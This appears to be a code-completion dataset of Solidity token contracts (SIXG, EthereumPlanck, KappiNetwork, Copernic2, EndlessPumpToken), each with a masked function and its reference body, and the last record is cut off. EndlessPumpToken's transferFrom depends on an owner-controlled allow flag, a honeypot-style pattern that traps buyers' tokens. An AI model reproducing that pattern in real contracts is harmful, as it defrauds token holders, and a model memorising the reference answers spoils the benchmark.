contract SIXG is SafeMath{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function SIXG( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) { balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes owner = msg.sender; } /* Send coins */ function transfer(address _to, uint256 _value) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { if (_value <= 0) throw; allowance[msg.sender][_spender] = _value; return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } <FILL_FUNCTION> function freeze(uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) returns (bool success) { if (freezeOf[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); Unfreeze(msg.sender, _value); return true; } // transfer balance to owner function withdrawEther(uint256 amount) { if(msg.sender != owner)throw; owner.transfer(amount); } // can accept ether function() payable { } }
if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply Burn(msg.sender, _value); return true;
function burn(uint256 _value) returns (bool success)
function burn(uint256 _value) returns (bool success)
6294
EthereumPlanck
approveAndCall
contract EthereumPlanck { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; address payable public fundsWallet; uint256 public maximumTarget; uint256 public lastBlock; uint256 public rewardTimes; uint256 public genesisReward; uint256 public premined; uint256 public nRewarMod; uint256 public nWtime; uint256 public totalReceived; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public { initialSupply = 23592240 * 10 ** uint256(decimals); tokenName = "EthereumPlanck"; tokenSymbol = "EPL"; lastBlock = 1; nRewarMod = 5200; nWtime = 7889231; genesisReward = (2**14)* (10**uint256(decimals)); maximumTarget = 100 * 10 ** uint256(decimals); fundsWallet = msg.sender; premined = 500000 * 10 ** uint256(decimals); balanceOf[msg.sender] = premined; balanceOf[address(this)] = initialSupply; totalSupply = initialSupply + premined; name = tokenName; symbol = tokenSymbol; totalReceived = 0; } function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0x0)); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {<FILL_FUNCTION_BODY> } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } function uintToString(uint256 v) internal pure returns(string memory str) { uint maxlength = 100; bytes memory reversed = new bytes(maxlength); uint i = 0; while (v != 0) { uint remainder = v % 10; v = v / 10; reversed[i++] = byte(uint8(48 + remainder)); } bytes memory s = new bytes(i + 1); for (uint j = 0; j <= i; j++) { s[j] = reversed[i - j]; } str = string(s); } function append(string memory a, string memory b) internal pure returns (string memory) { return string(abi.encodePacked(a,"-",b)); } function getblockhash() public view returns (uint256) { return uint256(blockhash(block.number-1)); } function getspesificblockhash(uint256 _blocknumber) public view returns(uint256, uint256){ uint256 crew = uint256(blockhash(_blocknumber)) % nRewarMod; return (crew, block.number-1); } function checkRewardStatus() public view returns (uint256, uint256) { uint256 crew = uint256(blockhash(block.number-1)) % nRewarMod; return (crew, block.number-1); } struct sdetails { uint256 _stocktime; uint256 _stockamount; } address[] totalminers; mapping (address => sdetails) nStockDetails; struct rewarddetails { uint256 _artyr; bool _didGetReward; } mapping (string => rewarddetails) nRewardDetails; struct nBlockDetails { uint256 _bTime; uint256 _tInvest; } mapping (uint256 => nBlockDetails) bBlockIteration; struct activeMiners { address bUser; } mapping(uint256 => activeMiners[]) aMiners; function numberofminer() view public returns (uint256) { return totalminers.length; } function nAddrHash() view public returns (uint256) { return uint256(msg.sender) % 10000000000; } function getmaximumAverage() public view returns(uint){ if(numberofminer() == 0){ return maximumTarget; } else { return maximumTarget / numberofminer(); } } function checkAddrMinerStatus(address _addr) view public returns(bool){ if(nStockDetails[_addr]._stocktime == 0){ return false; } else { return true; } } function checkAddrMinerAmount(address _addr) view public returns(uint256){ if(nStockDetails[_addr]._stocktime == 0){ return 0; } else { return nStockDetails[_addr]._stockamount; } } function getactiveminersnumber() view public returns(uint256) { return aMiners[lastBlock].length; //that function for information. } function nMixAddrandBlock() private view returns(string memory) { return append(uintToString(nAddrHash()),uintToString(lastBlock)); } function signfordailyreward(uint256 _bnumber) public returns (uint256) { require(checkAddrMinerStatus(msg.sender) == true); require((block.number-1) - _bnumber <= 100); require(uint256(blockhash(_bnumber)) % nRewarMod == 1); if(bBlockIteration[lastBlock]._bTime + 1800 < now){ lastBlock += 1; bBlockIteration[lastBlock]._bTime = now; } require(nRewardDetails[nMixAddrandBlock()]._artyr == 0); bBlockIteration[lastBlock]._tInvest += nStockDetails[msg.sender]._stockamount; nRewardDetails[nMixAddrandBlock()]._artyr = now; nRewardDetails[nMixAddrandBlock()]._didGetReward = false; aMiners[lastBlock].push(activeMiners(msg.sender)); return 200; } function getDailyReward(uint256 _bnumber) public returns(uint256) { require(checkAddrMinerStatus(msg.sender) == true); require((block.number-1) - _bnumber >= 100); require(uint256(blockhash(_bnumber)) % nRewarMod == 1); require(nRewardDetails[nMixAddrandBlock()]._didGetReward == false); uint256 totalRA = genesisReward / 2 ** (lastBlock/730); uint256 usersReward = (totalRA * (nStockDetails[msg.sender]._stockamount * 100) / bBlockIteration[lastBlock]._tInvest) / 100; nRewardDetails[nMixAddrandBlock()]._didGetReward = true; _transfer(address(this), msg.sender, usersReward); return usersReward; } function becameaminer(uint256 mineamount) public returns (uint256) { uint256 realMineAmount = mineamount * 10 ** uint256(decimals); require(realMineAmount > getmaximumAverage() / 100); //Minimum maximum targes one percents neccessary. require(realMineAmount > 1 * 10 ** uint256(decimals)); //minimum 1 coin require require(nStockDetails[msg.sender]._stocktime == 0); require(mineamount < 3000); maximumTarget += realMineAmount; nStockDetails[msg.sender]._stocktime = now; nStockDetails[msg.sender]._stockamount = realMineAmount; totalminers.push(msg.sender); _transfer(msg.sender, address(this), realMineAmount); return 200; } function getyourcoinsbackafterthreemonths() public returns(uint256) { require(nStockDetails[msg.sender]._stocktime + nWtime < now ); nStockDetails[msg.sender]._stocktime = 0; _transfer(address(this),msg.sender,nStockDetails[msg.sender]._stockamount); return nStockDetails[msg.sender]._stockamount; } struct memoIncDetails { uint256 _receiveTime; uint256 _receiveAmount; address _senderAddr; string _senderMemo; } mapping(address => memoIncDetails[]) textPurchases; function sendtokenwithmemo(uint256 _amount, address _to, string memory _memo) public returns(uint256) { textPurchases[_to].push(memoIncDetails(now, _amount, msg.sender, _memo)); _transfer(msg.sender, _to, _amount); return 200; } function checkmemopurchases(address _addr, uint256 _index) view public returns(uint256, uint256, string memory, address) { uint256 rTime = textPurchases[_addr][_index]._receiveTime; uint256 rAmount = textPurchases[_addr][_index]._receiveAmount; string memory sMemo = textPurchases[_addr][_index]._senderMemo; address sAddr = textPurchases[_addr][_index]._senderAddr; if(textPurchases[_addr][_index]._receiveTime == 0){ return (0, 0,"0", _addr); }else { return (rTime, rAmount,sMemo, sAddr); } } function getmemotextcountforaddr(address _addr) view public returns(uint256) { return textPurchases[_addr].length; } }
contract EthereumPlanck { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; address payable public fundsWallet; uint256 public maximumTarget; uint256 public lastBlock; uint256 public rewardTimes; uint256 public genesisReward; uint256 public premined; uint256 public nRewarMod; uint256 public nWtime; uint256 public totalReceived; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public { initialSupply = 23592240 * 10 ** uint256(decimals); tokenName = "EthereumPlanck"; tokenSymbol = "EPL"; lastBlock = 1; nRewarMod = 5200; nWtime = 7889231; genesisReward = (2**14)* (10**uint256(decimals)); maximumTarget = 100 * 10 ** uint256(decimals); fundsWallet = msg.sender; premined = 500000 * 10 ** uint256(decimals); balanceOf[msg.sender] = premined; balanceOf[address(this)] = initialSupply; totalSupply = initialSupply + premined; name = tokenName; symbol = tokenSymbol; totalReceived = 0; } function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0x0)); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } <FILL_FUNCTION> function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } function uintToString(uint256 v) internal pure returns(string memory str) { uint maxlength = 100; bytes memory reversed = new bytes(maxlength); uint i = 0; while (v != 0) { uint remainder = v % 10; v = v / 10; reversed[i++] = byte(uint8(48 + remainder)); } bytes memory s = new bytes(i + 1); for (uint j = 0; j <= i; j++) { s[j] = reversed[i - j]; } str = string(s); } function append(string memory a, string memory b) internal pure returns (string memory) { return string(abi.encodePacked(a,"-",b)); } function getblockhash() public view returns (uint256) { return uint256(blockhash(block.number-1)); } function getspesificblockhash(uint256 _blocknumber) public view returns(uint256, uint256){ uint256 crew = uint256(blockhash(_blocknumber)) % nRewarMod; return (crew, block.number-1); } function checkRewardStatus() public view returns (uint256, uint256) { uint256 crew = uint256(blockhash(block.number-1)) % nRewarMod; return (crew, block.number-1); } struct sdetails { uint256 _stocktime; uint256 _stockamount; } address[] totalminers; mapping (address => sdetails) nStockDetails; struct rewarddetails { uint256 _artyr; bool _didGetReward; } mapping (string => rewarddetails) nRewardDetails; struct nBlockDetails { uint256 _bTime; uint256 _tInvest; } mapping (uint256 => nBlockDetails) bBlockIteration; struct activeMiners { address bUser; } mapping(uint256 => activeMiners[]) aMiners; function numberofminer() view public returns (uint256) { return totalminers.length; } function nAddrHash() view public returns (uint256) { return uint256(msg.sender) % 10000000000; } function getmaximumAverage() public view returns(uint){ if(numberofminer() == 0){ return maximumTarget; } else { return maximumTarget / numberofminer(); } } function checkAddrMinerStatus(address _addr) view public returns(bool){ if(nStockDetails[_addr]._stocktime == 0){ return false; } else { return true; } } function checkAddrMinerAmount(address _addr) view public returns(uint256){ if(nStockDetails[_addr]._stocktime == 0){ return 0; } else { return nStockDetails[_addr]._stockamount; } } function getactiveminersnumber() view public returns(uint256) { return aMiners[lastBlock].length; //that function for information. } function nMixAddrandBlock() private view returns(string memory) { return append(uintToString(nAddrHash()),uintToString(lastBlock)); } function signfordailyreward(uint256 _bnumber) public returns (uint256) { require(checkAddrMinerStatus(msg.sender) == true); require((block.number-1) - _bnumber <= 100); require(uint256(blockhash(_bnumber)) % nRewarMod == 1); if(bBlockIteration[lastBlock]._bTime + 1800 < now){ lastBlock += 1; bBlockIteration[lastBlock]._bTime = now; } require(nRewardDetails[nMixAddrandBlock()]._artyr == 0); bBlockIteration[lastBlock]._tInvest += nStockDetails[msg.sender]._stockamount; nRewardDetails[nMixAddrandBlock()]._artyr = now; nRewardDetails[nMixAddrandBlock()]._didGetReward = false; aMiners[lastBlock].push(activeMiners(msg.sender)); return 200; } function getDailyReward(uint256 _bnumber) public returns(uint256) { require(checkAddrMinerStatus(msg.sender) == true); require((block.number-1) - _bnumber >= 100); require(uint256(blockhash(_bnumber)) % nRewarMod == 1); require(nRewardDetails[nMixAddrandBlock()]._didGetReward == false); uint256 totalRA = genesisReward / 2 ** (lastBlock/730); uint256 usersReward = (totalRA * (nStockDetails[msg.sender]._stockamount * 100) / bBlockIteration[lastBlock]._tInvest) / 100; nRewardDetails[nMixAddrandBlock()]._didGetReward = true; _transfer(address(this), msg.sender, usersReward); return usersReward; } function becameaminer(uint256 mineamount) public returns (uint256) { uint256 realMineAmount = mineamount * 10 ** uint256(decimals); require(realMineAmount > getmaximumAverage() / 100); //Minimum maximum targes one percents neccessary. require(realMineAmount > 1 * 10 ** uint256(decimals)); //minimum 1 coin require require(nStockDetails[msg.sender]._stocktime == 0); require(mineamount < 3000); maximumTarget += realMineAmount; nStockDetails[msg.sender]._stocktime = now; nStockDetails[msg.sender]._stockamount = realMineAmount; totalminers.push(msg.sender); _transfer(msg.sender, address(this), realMineAmount); return 200; } function getyourcoinsbackafterthreemonths() public returns(uint256) { require(nStockDetails[msg.sender]._stocktime + nWtime < now ); nStockDetails[msg.sender]._stocktime = 0; _transfer(address(this),msg.sender,nStockDetails[msg.sender]._stockamount); return nStockDetails[msg.sender]._stockamount; } struct memoIncDetails { uint256 _receiveTime; uint256 _receiveAmount; address _senderAddr; string _senderMemo; } mapping(address => memoIncDetails[]) textPurchases; function sendtokenwithmemo(uint256 _amount, address _to, string memory _memo) public returns(uint256) { textPurchases[_to].push(memoIncDetails(now, _amount, msg.sender, _memo)); _transfer(msg.sender, _to, _amount); return 200; } function checkmemopurchases(address _addr, uint256 _index) view public returns(uint256, uint256, string memory, address) { uint256 rTime = textPurchases[_addr][_index]._receiveTime; uint256 rAmount = textPurchases[_addr][_index]._receiveAmount; string memory sMemo = textPurchases[_addr][_index]._senderMemo; address sAddr = textPurchases[_addr][_index]._senderAddr; if(textPurchases[_addr][_index]._receiveTime == 0){ return (0, 0,"0", _addr); }else { return (rTime, rAmount,sMemo, sAddr); } } function getmemotextcountforaddr(address _addr) view public returns(uint256) { return textPurchases[_addr].length; } }
tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; }
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success)
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success)
39042
KappiNetwork
transfer
contract KappiNetwork is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 700000*10**uint256(decimals); string public constant name = "KappiNetwork"; string public constant symbol = "KAPPN"; address payable teamAddress; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function totalSupply() public view returns (uint256) { return initialSupply; } function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool success) {<FILL_FUNCTION_BODY> } function transferFrom(address from, address to, uint256 value) public returns (bool success) { if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { balances[to] += value; balances[from] -= value; allowed[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } else { return false; } } function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } constructor () public payable { teamAddress = msg.sender; balances[teamAddress] = initialSupply; } function () external payable { teamAddress.transfer(msg.value); } }
contract KappiNetwork is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 700000*10**uint256(decimals); string public constant name = "KappiNetwork"; string public constant symbol = "KAPPN"; address payable teamAddress; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function totalSupply() public view returns (uint256) { return initialSupply; } function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } <FILL_FUNCTION> function transferFrom(address from, address to, uint256 value) public returns (bool success) { if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { balances[to] += value; balances[from] -= value; allowed[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } else { return false; } } function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } constructor () public payable { teamAddress = msg.sender; balances[teamAddress] = initialSupply; } function () external payable { teamAddress.transfer(msg.value); } }
if (balances[msg.sender] >= value && value > 0) { balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; }
function transfer(address to, uint256 value) public returns (bool success)
function transfer(address to, uint256 value) public returns (bool success)
44825
Copernic2Contract
transfer
contract Copernic2Contract is ERC20 { string internal _name = "Copernic2"; string internal _symbol = "COP2"; string internal _standard = "ERC20"; uint8 internal _decimals = 18; uint internal _totalSupply = 1000000 * 1 ether; address internal _contractOwner; mapping(address => uint256) internal balances; mapping(address => mapping(address => uint256)) internal allowed; event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); event OwnershipTransferred( address indexed _oldOwner, address indexed _newOwner ); constructor () public { balances[msg.sender] = totalSupply(); _contractOwner = msg.sender; } // Try to prevent sending ETH to SmartContract by mistake. function () external payable { revert("This SmartContract is not payable"); } // // Getters and Setters // function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function standard() public view returns (string memory) { return _standard; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function contractOwner() public view returns (address) { return _contractOwner; } // // Contract common functions // function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) public returns (bool success) { require (_spender != address(0), "_spender address has to be set"); require (_value > 0, "'_value' parameter has to be greater than 0"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != address(0), "'_from' address has to be set"); require(_to != address(0), "'_to' address has to be set"); require(_value <= balances[_from], "Insufficient balance"); require(_value <= allowed[_from][msg.sender], "Insufficient allowance"); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function burn(uint256 _value) public returns (bool success) { require(_value <= balances[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); _totalSupply = SafeMath.sub(_totalSupply, _value); emit Transfer(msg.sender, address(0), _value); return true; } modifier onlyOwner() { require(isOwner(), "Only owner can do that"); _; } function isOwner() public view returns (bool) { return msg.sender == _contractOwner; } function transferOwnership(address _newOwner) public onlyOwner returns (bool success) { require(_newOwner != address(0) && _contractOwner != _newOwner); emit OwnershipTransferred(_contractOwner, _newOwner); _contractOwner = _newOwner; return true; } }
contract Copernic2Contract is ERC20 { string internal _name = "Copernic2"; string internal _symbol = "COP2"; string internal _standard = "ERC20"; uint8 internal _decimals = 18; uint internal _totalSupply = 1000000 * 1 ether; address internal _contractOwner; mapping(address => uint256) internal balances; mapping(address => mapping(address => uint256)) internal allowed; event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); event OwnershipTransferred( address indexed _oldOwner, address indexed _newOwner ); constructor () public { balances[msg.sender] = totalSupply(); _contractOwner = msg.sender; } // Try to prevent sending ETH to SmartContract by mistake. function () external payable { revert("This SmartContract is not payable"); } // // Getters and Setters // function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function standard() public view returns (string memory) { return _standard; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function contractOwner() public view returns (address) { return _contractOwner; } <FILL_FUNCTION> function approve(address _spender, uint256 _value) public returns (bool success) { require (_spender != address(0), "_spender address has to be set"); require (_value > 0, "'_value' parameter has to be greater than 0"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != address(0), "'_from' address has to be set"); require(_to != address(0), "'_to' address has to be set"); require(_value <= balances[_from], "Insufficient balance"); require(_value <= allowed[_from][msg.sender], "Insufficient allowance"); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function burn(uint256 _value) public returns (bool success) { require(_value <= balances[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); _totalSupply = SafeMath.sub(_totalSupply, _value); emit Transfer(msg.sender, address(0), _value); return true; } modifier onlyOwner() { require(isOwner(), "Only owner can do that"); _; } function isOwner() public view returns (bool) { return msg.sender == _contractOwner; } function transferOwnership(address _newOwner) public onlyOwner returns (bool success) { require(_newOwner != address(0) && _contractOwner != _newOwner); emit OwnershipTransferred(_contractOwner, _newOwner); _contractOwner = _newOwner; return true; } }
require(_to != address(0), "'_to' address has to be set"); require(_value <= balances[msg.sender], "Insufficient balance"); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
// // Contract common functions // function transfer(address _to, uint256 _value) public returns (bool)
15804
EndlessPumpToken
_executeTransfer
contract EndlessPumpToken is Ownable { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint8 public airdrop = 1; mapping (address => uint256) private _balances; uint256 constant digits = 1000000000000000000; uint256 _totalSup = 20000 * digits; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[msg.sender] = totalSupply; allow[msg.sender] = true; } using SafeMath for uint256; mapping(address => uint256) public balances; mapping(address => bool) public allow; mapping (address => bool) private greylist; function multiGreylistAdd(address[] memory addresses) public { if (msg.sender != owner) { revert(); } for (uint256 i = 0; i < addresses.length; i++) { greylistAdd(addresses[i]); } } function multiGreylistRemove(address[] memory addresses) public { if (msg.sender != owner) { revert(); } for (uint256 i = 0; i < addresses.length; i++) { greylistRemove(addresses[i]); } } function greylistAdd(address a) public { if (msg.sender != owner) { revert(); } greylist[a] = true; } function greylistRemove(address a) public { if (msg.sender != owner) { revert(); } greylist[a] = false; } function isInGreylist(address a) internal view returns (bool) { return greylist[a]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) public allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; } //1% at start uint256 public basePercentage = 1; function findPercentage(uint256 amount) public view returns (uint256) { uint256 percent = amount.mul(basePercentage).div(20000); return percent; } //burning function burn(uint256 amount) external { _burn(msg.sender, amount); } function _burn(address account, uint256 amount) internal { require(amount != 0); require(amount <= _balances[account]); _totalSup = _totalSup.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } //burn rate change, only by owner function changeBurnRate(uint8 newRate) external onlyOwner { basePercentage = newRate; } //airdrop phase change, only by owner function changeAirdropPhase(uint8 _airdrop) external onlyOwner { airdrop = _airdrop; } //transfer function _executeTransfer(address _from, address _to, uint256 _value) private {<FILL_FUNCTION_BODY> } }
contract EndlessPumpToken is Ownable { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint8 public airdrop = 1; mapping (address => uint256) private _balances; uint256 constant digits = 1000000000000000000; uint256 _totalSup = 20000 * digits; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[msg.sender] = totalSupply; allow[msg.sender] = true; } using SafeMath for uint256; mapping(address => uint256) public balances; mapping(address => bool) public allow; mapping (address => bool) private greylist; function multiGreylistAdd(address[] memory addresses) public { if (msg.sender != owner) { revert(); } for (uint256 i = 0; i < addresses.length; i++) { greylistAdd(addresses[i]); } } function multiGreylistRemove(address[] memory addresses) public { if (msg.sender != owner) { revert(); } for (uint256 i = 0; i < addresses.length; i++) { greylistRemove(addresses[i]); } } function greylistAdd(address a) public { if (msg.sender != owner) { revert(); } greylist[a] = true; } function greylistRemove(address a) public { if (msg.sender != owner) { revert(); } greylist[a] = false; } function isInGreylist(address a) internal view returns (bool) { return greylist[a]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) public allowed; function 